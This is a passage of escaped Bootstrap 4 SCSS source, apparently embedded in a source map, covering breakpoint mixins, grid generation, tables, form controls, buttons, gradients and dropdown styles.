992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n// >> breakpoint-next(sm)\n// md\n// >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// md\n// >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n// md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n $n: index($breakpoint-names, $name);\n @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n// >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n $min: map-get($breakpoints, $name);\n @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n// >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n $next: breakpoint-next($name, $breakpoints);\n @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n// >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"\" (Returns a blank string)\n// >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n @if $min {\n @media (min-width: $min) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n $max: breakpoint-max($name, $breakpoints);\n @if $max {\n @media (max-width: $max) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($lower, $breakpoints);\n $max: breakpoint-max($upper, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($lower, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($upper, $breakpoints) {\n @content;\n }\n }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n $max: breakpoint-max($name, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($name, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($name, $breakpoints) {\n @content;\n }\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n // Common properties for all breakpoints\n %grid-column {\n position: relative;\n width: 100%;\n min-height: 1px; // Prevent columns from collapsing when empty\n padding-right: ($gutter / 2);\n padding-left: ($gutter / 2);\n }\n\n @each $breakpoint in map-keys($breakpoints) {\n $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n // Allow columns to stretch full width below their breakpoints\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @extend %grid-column;\n }\n }\n .col#{$infix},\n .col#{$infix}-auto {\n @extend %grid-column;\n }\n\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n .col#{$infix} {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col#{$infix}-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none; // Reset earlier grid tiers\n }\n\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @include make-col($i, $columns);\n }\n }\n\n .order#{$infix}-first { order: -1; }\n\n .order#{$infix}-last { order: $columns + 1; }\n\n @for $i from 0 through $columns {\n .order#{$infix}-#{$i} { order: $i; }\n }\n\n // `$columns - 1` because offsetting by the width of an entire row isn't possible\n @for $i from 0 through ($columns - 1) {\n @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n .offset#{$infix}-#{$i} {\n @include make-col-offset($i, $columns);\n }\n }\n }\n }\n }\n}\n","//\n// Basic Bootstrap table\n//\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: $spacer;\n background-color: $table-bg; // Reset for nesting within parents with `background-color`.\n\n th,\n td {\n padding: $table-cell-padding;\n vertical-align: top;\n border-top: $table-border-width solid $table-border-color;\n }\n\n thead th {\n vertical-align: bottom;\n border-bottom: (2 * $table-border-width) solid $table-border-color;\n }\n\n tbody + tbody {\n border-top: (2 * $table-border-width) solid $table-border-color;\n }\n\n .table {\n background-color: $body-bg;\n }\n}\n\n\n//\n// Condensed table w/ half padding\n//\n\n.table-sm {\n th,\n td {\n padding: $table-cell-padding-sm;\n }\n}\n\n\n// Border versions\n//\n// Add or remove borders all around the table and between all the columns.\n\n.table-bordered {\n border: $table-border-width solid $table-border-color;\n\n th,\n td {\n border: $table-border-width solid $table-border-color;\n }\n\n thead {\n th,\n td {\n border-bottom-width: (2 * $table-border-width);\n }\n }\n}\n\n.table-borderless {\n th,\n td,\n thead th,\n tbody + tbody {\n border: 0;\n }\n}\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n tbody tr:nth-of-type(#{$table-striped-order}) {\n background-color: $table-accent-bg;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n tbody tr {\n @include hover {\n background-color: $table-hover-bg;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n@each $color, $value in $theme-colors {\n @include table-row-variant($color, theme-color-level($color, -9));\n}\n\n@include table-row-variant(active, $table-active-bg);\n\n\n// Dark styles\n//\n// Same table markup, but inverted color scheme: dark background and light text.\n\n// stylelint-disable-next-line no-duplicate-selectors\n.table {\n .thead-dark {\n th {\n color: $table-dark-color;\n background-color: $table-dark-bg;\n border-color: $table-dark-border-color;\n }\n }\n\n .thead-light {\n th {\n color: $table-head-color;\n background-color: $table-head-bg;\n border-color: $table-border-color;\n }\n }\n}\n\n.table-dark {\n color: $table-dark-color;\n background-color: $table-dark-bg;\n\n th,\n td,\n thead th {\n border-color: $table-dark-border-color;\n }\n\n &.table-bordered {\n border: 0;\n }\n\n &.table-striped {\n tbody tr:nth-of-type(odd) {\n background-color: $table-dark-accent-bg;\n }\n }\n\n &.table-hover {\n tbody tr {\n @include hover {\n background-color: $table-dark-hover-bg;\n }\n }\n }\n}\n\n\n// Responsive tables\n//\n// Generate series of `.table-responsive-*` classes for configuring the screen\n// size of where your table will overflow.\n\n.table-responsive {\n @each $breakpoint in map-keys($grid-breakpoints) {\n $next: breakpoint-next($breakpoint, $grid-breakpoints);\n $infix: breakpoint-infix($next, $grid-breakpoints);\n\n &#{$infix} {\n @include media-breakpoint-down($breakpoint) {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar; // See https://github.com/twbs/bootstrap/pull/10057\n\n // Prevent double border on horizontal scroll due to use of `display: block;`\n > .table-bordered {\n border: 0;\n }\n }\n }\n }\n}\n","// Tables\n\n@mixin table-row-variant($state, $background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table-#{$state} {\n &,\n > th,\n > td {\n background-color: $background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover {\n $hover-background: darken($background, 5%);\n\n .table-#{$state} {\n @include hover {\n background-color: $hover-background;\n\n > td,\n > th {\n background-color: $hover-background;\n }\n }\n }\n }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Textual form controls\n//\n\n.form-control {\n display: block;\n width: 100%;\n padding: $input-padding-y $input-padding-x;\n font-size: $font-size-base;\n line-height: $input-line-height;\n color: $input-color;\n background-color: $input-bg;\n background-clip: padding-box;\n border: $input-border-width solid $input-border-color;\n\n // Note: This has no effect on <select>s in some browsers, due to the limited stylability of `<select>`s in CSS.\n @if $enable-rounded {\n // Manually use the if/else instead of the mixin to account for iOS override\n border-radius: $input-border-radius;\n } @else {\n // Otherwise undo the iOS default\n border-radius: 0;\n }\n\n @include box-shadow($input-box-shadow);\n @include transition($input-transition);\n\n // Unstyle the caret on `<select>`s in IE10+.\n &::-ms-expand {\n background-color: transparent;\n border: 0;\n }\n\n // Customize the `:focus` state to imitate native WebKit styles.\n @include form-control-focus();\n\n // Placeholder\n &::placeholder {\n color: $input-placeholder-color;\n // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526.\n opacity: 1;\n }\n\n // Disabled and read-only inputs\n //\n // HTML5 says that controls under a fieldset > legend:first-child won't be\n // disabled if the fieldset is disabled. Due to implementation difficulty, we\n // don't honor that edge case; we style them as disabled anyway.\n &:disabled,\n &[readonly] {\n background-color: $input-disabled-bg;\n // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655.\n opacity: 1;\n }\n}\n\nselect.form-control {\n &:not([size]):not([multiple]) {\n height: $input-height;\n }\n\n &:focus::-ms-value {\n // Suppress the nested default white text on blue background highlight given to\n // the selected option text when the (still closed) <select> receives focus\n // in IE and (under certain conditions) Edge, as it looks bad and cannot be made to\n // match the appearance of the native widget.\n // See https://github.com/twbs/bootstrap/issues/19398.\n color: $input-color;\n background-color: $input-bg;\n }\n}\n\n// Make file inputs better match text inputs by forcing them to new lines.\n.form-control-file,\n.form-control-range {\n display: block;\n width: 100%;\n}\n\n\n//\n// Labels\n//\n\n// For use with horizontal and inline forms, when you need the label (or legend)\n// text to align with the form controls.\n.col-form-label {\n padding-top: calc(#{$input-padding-y} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y} + #{$input-border-width});\n margin-bottom: 0; // Override the `<label>/<legend>` default\n font-size: inherit; // Override the `<legend>` default\n line-height: $input-line-height;\n}\n\n.col-form-label-lg {\n padding-top: calc(#{$input-padding-y-lg} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y-lg} + #{$input-border-width});\n font-size: $font-size-lg;\n line-height: $input-line-height-lg;\n}\n\n.col-form-label-sm {\n padding-top: calc(#{$input-padding-y-sm} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y-sm} + #{$input-border-width});\n font-size: $font-size-sm;\n line-height: $input-line-height-sm;\n}\n\n\n// Readonly controls as plain text\n//\n// Apply class to a readonly input to make it appear like regular plain\n// text (without any border, background color, focus indicator)\n\n.form-control-plaintext {\n display: block;\n width: 100%;\n padding-top: $input-padding-y;\n padding-bottom: $input-padding-y;\n margin-bottom: 0; // match inputs if this class comes on inputs with default margins\n line-height: $input-line-height;\n color: $input-plaintext-color;\n background-color: transparent;\n border: solid transparent;\n border-width: $input-border-width 0;\n\n &.form-control-sm,\n &.form-control-lg {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n\n// Form control sizing\n//\n// Build on `.form-control` with modifier classes to decrease or increase the\n// height and font-size of form controls.\n//\n// The `.form-group-* form-control` variations are sadly duplicated to avoid the\n// issue documented in https://github.com/twbs/bootstrap/issues/15074.\n\n.form-control-sm {\n padding: $input-padding-y-sm $input-padding-x-sm;\n font-size: $font-size-sm;\n line-height: $input-line-height-sm;\n @include border-radius($input-border-radius-sm);\n}\n\nselect.form-control-sm {\n &:not([size]):not([multiple]) {\n height: $input-height-sm;\n }\n}\n\n.form-control-lg {\n padding: $input-padding-y-lg $input-padding-x-lg;\n font-size: $font-size-lg;\n line-height: $input-line-height-lg;\n @include border-radius($input-border-radius-lg);\n}\n\nselect.form-control-lg {\n &:not([size]):not([multiple]) {\n height: $input-height-lg;\n }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n margin-bottom: $form-group-margin-bottom;\n}\n\n.form-text {\n display: block;\n margin-top: $form-text-margin-top;\n}\n\n\n// Form grid\n//\n// Special replacement for our grid system's `.row` for tighter form layouts.\n\n.form-row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -5px;\n margin-left: -5px;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 5px;\n padding-left: 5px;\n }\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.form-check {\n position: relative;\n display: block;\n padding-left: $form-check-input-gutter;\n}\n\n.form-check-input {\n position: absolute;\n margin-top: $form-check-input-margin-y;\n margin-left: -$form-check-input-gutter;\n\n &:disabled ~ .form-check-label {\n color: $text-muted;\n }\n}\n\n.form-check-label {\n margin-bottom: 0; // Override default `<label>` bottom margin\n}\n\n.form-check-inline {\n display: inline-flex;\n align-items: center;\n padding-left: 0; // Override base .form-check\n margin-right: $form-check-inline-margin-x;\n\n // Undo .form-check-input defaults and add some `margin-right`.\n .form-check-input {\n position: static;\n margin-top: 0;\n margin-right: $form-check-inline-input-margin-x;\n margin-left: 0;\n }\n}\n\n\n// Form validation\n//\n// Provide feedback to users when form field values are valid or invalid. Works\n// primarily for client-side validation via scoped `:invalid` and `:valid`\n// pseudo-classes but also includes `.is-invalid` and `.is-valid` classes for\n// server side validation.\n\n@include form-validation-state(\"valid\", $form-feedback-valid-color);\n@include form-validation-state(\"invalid\", $form-feedback-invalid-color);\n\n// Inline forms\n//\n// Make forms appear inline(-block) by adding the `.form-inline` class. Inline\n// forms begin stacked on extra small (mobile) devices and then go inline when\n// viewports reach <768px.\n//\n// Requires wrapping inputs and labels with `.form-group` for proper display of\n// default HTML form controls and our custom form controls (e.g., input groups).\n\n.form-inline {\n display: flex;\n flex-flow: row wrap;\n align-items: center; // Prevent shorter elements from growing to same height as others (e.g., small buttons growing to normal sized button height)\n\n // Because we use flex, the initial sizing of checkboxes is collapsed and\n // doesn't occupy the full-width (which is what we want for xs grid tier),\n // so we force that here.\n .form-check {\n width: 100%;\n }\n\n // Kick in the inline\n @include media-breakpoint-up(sm) {\n label {\n display: flex;\n align-items: center;\n justify-content: center;\n margin-bottom: 0;\n }\n\n // Inline-block all the things for \"inline\"\n .form-group {\n display: flex;\n flex: 0 0 auto;\n flex-flow: row wrap;\n align-items: center;\n margin-bottom: 0;\n }\n\n // Allow folks to *not* use `.form-group`\n .form-control {\n display: inline-block;\n width: auto; // Prevent labels from stacking above inputs in `.form-group`\n vertical-align: middle;\n }\n\n // Make static controls behave like regular ones\n .form-control-plaintext {\n display: inline-block;\n }\n\n .input-group,\n .custom-select {\n width: auto;\n }\n\n // Remove default margin on radios/checkboxes that were used for stacking, and\n // then undo the floating of radios and checkboxes to match.\n .form-check {\n display: flex;\n align-items: center;\n justify-content: center;\n width: auto;\n padding-left: 0;\n }\n .form-check-input {\n position: relative;\n margin-top: 0;\n margin-right: $form-check-input-margin-x;\n margin-left: 0;\n }\n\n .custom-control {\n align-items: center;\n justify-content: center;\n }\n .custom-control-label {\n margin-bottom: 0;\n }\n }\n}\n","@mixin transition($transition...) {\n @if $enable-transitions {\n @if length($transition) == 0 {\n transition: $transition-base;\n } @else {\n transition: $transition;\n }\n }\n\n @media screen and (prefers-reduced-motion: reduce) {\n transition: none;\n }\n}\n","// Form control focus state\n//\n// Generate a customized focus state and for any input with the specified color,\n// which defaults to the `$input-focus-border-color` variable.\n//\n// We highly encourage you to not customize the default value, but instead use\n// this to tweak colors on an as-needed basis. This aesthetic change is based on\n// WebKit's default styles, but applicable to a wider range of browsers. Its\n// usability and accessibility should be taken into account with any change.\n//\n// Example usage: change the default blue border and shadow to white for better\n// contrast against a dark gray background.\n@mixin form-control-focus() {\n &:focus {\n color: $input-focus-color;\n background-color: $input-focus-bg;\n border-color: $input-focus-border-color;\n outline: 0;\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $input-box-shadow, $input-focus-box-shadow;\n } @else {\n box-shadow: $input-focus-box-shadow;\n }\n }\n}\n\n\n@mixin form-validation-state($state, $color) {\n .#{$state}-feedback {\n display: none;\n width: 100%;\n margin-top: $form-feedback-margin-top;\n font-size: $form-feedback-font-size;\n color: $color;\n }\n\n .#{$state}-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%; // Contain to parent when possible\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: $white;\n background-color: rgba($color, .8);\n border-radius: .2rem;\n }\n\n .form-control,\n .custom-select {\n .was-validated &:#{$state},\n &.is-#{$state} {\n border-color: $color;\n\n &:focus {\n border-color: $color;\n box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n }\n }\n\n .form-check-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .form-check-label {\n color: $color;\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n }\n }\n\n .custom-control-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .custom-control-label {\n color: $color;\n\n &::before {\n background-color: lighten($color, 25%);\n }\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n\n &:checked {\n ~ .custom-control-label::before {\n @include gradient-bg(lighten($color, 10%));\n }\n }\n\n &:focus {\n ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px $body-bg, 0 0 0 $input-focus-width rgba($color, .25);\n }\n }\n }\n }\n\n // custom file\n .custom-file-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .custom-file-label {\n border-color: $color;\n\n &::before { border-color: inherit; }\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n\n &:focus {\n ~ .custom-file-label {\n box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n }\n }\n }\n }\n}\n","// Gradients\n\n@mixin gradient-bg($color) {\n @if $enable-gradients {\n background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x;\n } @else {\n background-color: $color;\n }\n}\n\n// Horizontal gradient, from left to right\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-x($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n background-image: linear-gradient(to right, $start-color $start-percent, $end-color $end-percent);\n background-repeat: repeat-x;\n}\n\n// Vertical gradient, from top to bottom\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-y($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent);\n background-repeat: repeat-x;\n}\n\n@mixin gradient-directional($start-color: $gray-700, $end-color: $gray-800, $deg: 45deg) {\n background-image: linear-gradient($deg, $start-color, $end-color);\n background-repeat: repeat-x;\n}\n@mixin gradient-x-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n background-image: linear-gradient(to right, $start-color, $mid-color $color-stop, $end-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-y-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n background-image: linear-gradient($start-color, $mid-color $color-stop, $end-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-radial($inner-color: $gray-700, $outer-color: $gray-800) {\n background-image: radial-gradient(circle, $inner-color, $outer-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-striped($color: rgba($white, .15), $angle: 45deg) {\n background-image: linear-gradient($angle, $color 25%, transparent 25%, transparent 50%, $color 50%, $color 75%, transparent 75%, transparent);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.btn {\n display: inline-block;\n font-weight: $btn-font-weight;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n user-select: none;\n border: $btn-border-width solid transparent;\n @include button-size($btn-padding-y, $btn-padding-x, $font-size-base, $btn-line-height, $btn-border-radius);\n @include transition($btn-transition);\n\n // Share hover and focus styles\n @include hover-focus {\n text-decoration: none;\n }\n\n &:focus,\n &.focus {\n outline: 0;\n box-shadow: $btn-focus-box-shadow;\n }\n\n // Disabled comes first so active can properly restyle\n &.disabled,\n &:disabled {\n opacity: $btn-disabled-opacity;\n @include box-shadow(none);\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .btn elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active {\n background-image: none;\n @include box-shadow($btn-active-box-shadow);\n\n &:focus {\n @include box-shadow($btn-focus-box-shadow, $btn-active-box-shadow);\n }\n }\n}\n\n// Future-proof disabling of clicks on `<a>` elements\na.btn.disabled,\nfieldset:disabled a.btn {\n pointer-events: none;\n}\n\n\n//\n// Alternate buttons\n//\n\n@each $color, $value in $theme-colors {\n .btn-#{$color} {\n @include button-variant($value, $value);\n }\n}\n\n@each $color, $value in $theme-colors {\n .btn-outline-#{$color} {\n @include button-outline-variant($value);\n }\n}\n\n\n//\n// Link buttons\n//\n\n// Make a button look and behave like a link\n.btn-link {\n font-weight: $font-weight-normal;\n color: $link-color;\n background-color: transparent;\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n background-color: transparent;\n border-color: transparent;\n }\n\n &:focus,\n &.focus {\n text-decoration: $link-hover-decoration;\n border-color: transparent;\n box-shadow: none;\n }\n\n &:disabled,\n &.disabled {\n color: $btn-link-disabled-color;\n pointer-events: none;\n }\n\n // No need for an active state here\n}\n\n\n//\n// Button Sizes\n//\n\n.btn-lg {\n @include button-size($btn-padding-y-lg, $btn-padding-x-lg, $font-size-lg, $btn-line-height-lg, $btn-border-radius-lg);\n}\n\n.btn-sm {\n @include button-size($btn-padding-y-sm, $btn-padding-x-sm, $font-size-sm, $btn-line-height-sm, $btn-border-radius-sm);\n}\n\n\n//\n// Block button\n//\n\n.btn-block {\n display: block;\n width: 100%;\n\n // Vertically space out multiple block buttons\n + .btn-block {\n margin-top: $btn-block-spacing-y;\n }\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n@mixin button-variant($background, $border, $hover-background: darken($background, 7.5%), $hover-border: darken($border, 10%), $active-background: darken($background, 10%), $active-border: darken($border, 12.5%)) {\n color: color-yiq($background);\n @include gradient-bg($background);\n border-color: $border;\n @include box-shadow($btn-box-shadow);\n\n @include hover {\n color: color-yiq($hover-background);\n @include gradient-bg($hover-background);\n border-color: $hover-border;\n }\n\n &:focus,\n &.focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $btn-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n }\n }\n\n // Disabled comes first so active can properly restyle\n &.disabled,\n &:disabled {\n color: color-yiq($background);\n background-color: $background;\n border-color: $border;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active,\n .show > &.dropdown-toggle {\n color: color-yiq($active-background);\n background-color: $active-background;\n @if $enable-gradients {\n background-image: none; // Remove the gradient for the pressed/active state\n }\n border-color: $active-border;\n\n &:focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n }\n }\n }\n}\n\n@mixin button-outline-variant($color, $color-hover: color-yiq($color), $active-background: $color, $active-border: $color) {\n color: $color;\n background-color: transparent;\n background-image: none;\n border-color: $color;\n\n &:hover {\n color: $color-hover;\n background-color: $active-background;\n border-color: $active-border;\n }\n\n &:focus,\n &.focus {\n box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n }\n\n &.disabled,\n &:disabled {\n color: $color;\n background-color: transparent;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active,\n .show > &.dropdown-toggle {\n color: color-yiq($active-background);\n background-color: $active-background;\n border-color: $active-border;\n\n &:focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows and $btn-active-box-shadow != none {\n box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($color, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n }\n }\n }\n}\n\n// Button sizes\n@mixin button-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n padding: $padding-y $padding-x;\n font-size: $font-size;\n line-height: $line-height;\n // Manually declare to provide an override to the browser default\n @if $enable-rounded {\n border-radius: $border-radius;\n } @else {\n border-radius: 0;\n }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n.fade {\n @include transition($transition-fade);\n\n &:not(.show) {\n opacity: 0;\n }\n}\n\n.collapse {\n &:not(.show) {\n display: none;\n }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n @include transition($transition-collapse);\n}\n","// The dropdown wrapper (`<div>`)\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n position: relative;\n}\n\n.dropdown-toggle {\n // Generate the caret automatically\n @include caret;\n}\n\n// The dropdown menu\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: $zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: $dropdown-min-width;\n padding: $dropdown-padding-y 0;\n margin: $dropdown-spacer 0 0; // override default ul\n font-size: $font-size-base; // Redeclare because nesting can cause inheritance issues\n color: $body-color;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n list-style: none;\n background-color: $dropdown-bg;\n background-clip: padding-box;\n border: $dropdown-border-width solid $dropdown-border-color;\n @include border-radius($dropdown-border-radius);\n @include box-shadow($dropdown-box-shadow);\n}\n\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n// Just add .dropup after the standard .dropdown class and you're set.\n.dropup {\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-top: 0;\n margin-bottom: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(up);\n }\n}\n\n.dropright {\n .dropdown-menu {\n top: 0;\n right: auto;\n left: 100%;\n margin-top: 0;\n margin-left: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(right);\n &::after {\n vertical-align: 0;\n }\n }\n}\n\n.dropleft {\n .dropdown-menu {\n top: 0;\n right: 100%;\n left: auto;\n margin-top: 0;\n margin-right: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(left);\n &::before {\n vertical-align: 0;\n }\n }\n}\n\n// When enabled Popper.js, reset basic dropdown position\n// stylelint-disable no-duplicate-selectors\n.dropdown-menu {\n &[x-placement^=\"top\"],\n &[x-placement^=\"right\"],\n &[x-placement^=\"bottom\"],\n &[x-placement^=\"left\"] {\n right: auto;\n bottom: auto;\n }\n}\n// stylelint-enable no-duplicate-selectors\n\n// Dividers (basically an `<hr>`) within the dropdown\n.dropdown-divider {\n @include nav-divider($dropdown-divider-bg);\n}\n\n// Links, buttons, and more within the dropdown menu\n//\n// `<button>`-specific styles are denoted with `// For <button>s`\n.dropdown-item {\n display: block;\n width: 100%; // For `<button>`s\n padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n clear: both;\n font-weight: $font-weight-normal;\n color: $dropdown-link-color;\n text-align: inherit; // For `<button>`s\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n background-color: transparent; // For `<button>`s\n border: 0; // For `<button>`s\n\n @include hover-focus {\n color: $dropdown-link-hover-color;\n text-decoration: none;\n @include gradient-bg($dropdown-link-hover-bg);\n }\n\n &.active,\n &:active {\n color: $dropdown-link-active-color;\n text-decoration: none;\n @include gradient-bg($dropdown-link-active-bg);\n }\n\n &.disabled,\n &:disabled {\n color: $dropdown-link-disabled-color;\n background-color: transparent;\n // Remove CSS gradients if they're enabled\n @if $enable-gradients {\n background-image: none;\n }\n }\n}\n\n.dropdown-menu.show {\n display: block;\n}\n\n// Dropdown section headers\n.dropdown-header 